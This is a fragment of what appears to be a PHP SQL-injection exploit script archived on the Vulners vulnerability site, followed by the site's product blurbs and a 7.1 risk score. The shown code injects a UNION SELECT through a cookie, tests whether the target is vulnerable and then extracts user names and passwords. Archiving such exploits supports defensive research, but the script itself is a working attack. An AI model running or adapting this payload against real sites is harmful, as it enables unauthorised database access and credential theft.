&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$first_sql&nbsp;=&nbsp;'0)&nbsp;UNION&nbsp;SELECT&nbsp;'.$album.'&nbsp;AND&nbsp;1=1/*';&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;###&nbsp;FIRST&nbsp;sql&nbsp;query&nbsp;-&nbsp;let's&nbsp;make&nbsp;valid&nbsp;album&nbsp;to&nbsp;be&nbsp;invisible
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$first_cookie&nbsp;=&nbsp;toCookie($first_sql);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(check($first_cookie)&nbsp;==&nbsp;0)&nbsp;{echo&nbsp;&quot;exploit&nbsp;failed...&quot;;&nbsp;credits();}&nbsp;###&nbsp;if&nbsp;album&nbsp;is&nbsp;still&nbsp;visible&nbsp;-&nbsp;site&nbsp;is&nbsp;unvulnerable
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exploit('name');
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exploit('password');
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;credits();

?&gt;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Jan 2008 00:00Current
7.1High risk
Vulners AI Score7.1
13